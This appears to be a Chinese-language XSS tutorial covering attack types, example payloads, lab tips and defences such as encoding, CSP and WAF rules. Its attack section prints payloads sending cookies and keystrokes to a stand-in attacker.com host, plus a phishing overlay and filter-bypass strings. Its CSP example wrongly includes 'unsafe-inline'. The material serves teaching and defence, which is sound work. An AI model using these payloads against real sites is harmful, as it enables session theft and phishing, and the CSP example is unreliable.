1. XSS漏洞的本质与危害
跨站脚本攻击(Cross-Site Scripting,简称XSS)本质上是一种将恶意脚本注入到可信网站中的攻击手段。当其他用户访问被篡改的页面时,恶意脚本会在他们的浏览器中执行。这种攻击之所以危险,是因为它利用了用户对特定网站的信任关系。
1.1 同源策略的突破
浏览器同源策略(Same-Origin Policy)本应阻止不同源之间的脚本交互,但XSS通过将恶意脚本伪装成目标网站的一部分,成功绕过了这一安全机制。攻击者可以:
- 窃取用户的会话Cookie
- 记录键盘输入
- 篡改网页内容
- 发起伪造请求
关键区别:XSS与CSRF虽然都涉及跨站操作,但XSS是利用网站对用户的信任,而CSRF是利用用户对网站的信任。
2. XSS的三种主要类型
2.1 反射型XSS(Reflected XSS)
反射型XSS是最常见的类型,恶意脚本通过URL参数传递并立即在页面响应中执行。典型的攻击流程:
- 攻击者构造包含恶意脚本的URL
- 诱骗受害者点击该URL
- 服务器将恶意脚本反射回浏览器
- 浏览器执行脚本
// 典型攻击URL示例 http://vulnerable-site.com/search?q=<script>alert(document.cookie)</script>2.2 存储型XSS(Stored XSS)
存储型XSS的危害更大,因为恶意脚本会被永久存储在服务器上(如数据库),影响所有访问相关页面的用户。常见场景包括:
- 论坛评论
- 用户资料
- 留言板
<!-- 存储在数据库中的恶意评论 --> <div class="comment"> <script>stealCredentials()</script> </div>2.3 DOM型XSS(DOM-based XSS)
这种类型的特殊性在于漏洞完全存在于客户端代码中,不涉及服务器响应。攻击通过修改DOM环境来执行恶意脚本:
// 漏洞代码示例 document.getElementById('output').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));攻击者可构造如下URL:
http://vulnerable-site.com#<img src=x onerror=alert(1)>3. 实战XSS攻击演示
3.1 基础攻击载荷
最基础的XSS验证方式是使用alert弹窗:
<script>alert('XSS')</script>但随着浏览器安全机制升级,现代Chrome已阻止跨域iframe调用alert(),可改用:
print() // Chrome 92+替代方案3.2 高级攻击技术
3.2.1 Cookie窃取
new Image().src='http://attacker.com/steal?cookie='+document.cookie3.2.2 键盘记录
document.onkeypress = function(e) { fetch('http://attacker.com/log?key=' + e.key) }3.2.3 钓鱼伪造
<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white"> <h1>Session Expired</h1> <form action="http://attacker.com/phish" method="POST"> <input type="text" placeholder="Username"> <input type="password" placeholder="Password"> <button>Login</button> </form> </div>4. 防御XSS的最佳实践
4.1 输入过滤
采用白名单机制验证输入:
// PHP示例 $clean_input = preg_replace('/[^a-zA-Z0-9]/', '', $input);4.2 输出编码
根据输出上下文采用不同编码方式:
| 上下文类型 | 编码方式 | 示例 |
|---|---|---|
| HTML正文 | HTML实体 | < → < |
| HTML属性 | 双重编码 | " → " |
| JavaScript | Unicode转义 | ' → \x27 |
| CSS | 十六进制 | expression → \65\xpression |
4.3 安全响应头
设置Content Security Policy(CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'4.4 现代框架保护
利用React/Vue等框架的自动转义机制:
// React会自动处理XSS const userInput = "<script>alert(1)</script>"; return <div>{userInput}</div>;5. 靶场实战技巧
5.1 皮卡丘靶场通关要点
反射型关卡:重点测试所有URL参数
http://localhost/vul/xss/xss_reflected_get.php?message=<payload>存储型关卡:需要提交到数据库
INSERT INTO comments VALUES ('<script>alert(1)</script>')DOM型关卡:分析前端JavaScript代码
eval(location.hash.slice(1))
5.2 CTFshow XSS挑战
常见绕过技巧:
- 大小写混淆:
<ScRipt>alert(1)</sCRipt> - 标签属性:
<img src=x onerror=alert(1)> - 编码绕过:
%3Cscript%3Ealert(1)%3C/script%3E
6. 企业级防护方案
6.1 Spring Boot防护配置
@Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.headers() .xssProtection() .and() .contentSecurityPolicy("script-src 'self'"); } }6.2 WAF规则示例
ModSecurity规则片段:
SecRule REQUEST_URI|REQUEST_BODY "@contains <script>" \ "id:1001,phase:2,deny,msg:'XSS Attack Detected'"7. 渗透测试报告要点
完整的XSS测试应包含:
- 漏洞位置(URL/参数)
- 触发条件
- 利用难度评级
- 影响范围评估
- 修复建议
示例截图应包含:
- 恶意载荷输入界面
- 成功执行截图
- 网络请求抓包
我在实际渗透测试中发现,很多XSS漏洞源于开发人员过度依赖前端验证。曾遇到一个案例:后端完全信任前端转义,导致通过Burp Suite修改原始请求即可轻松绕过防护。这提醒我们安全防护必须遵循"不信任任何输入"的原则,实施纵深防御策略。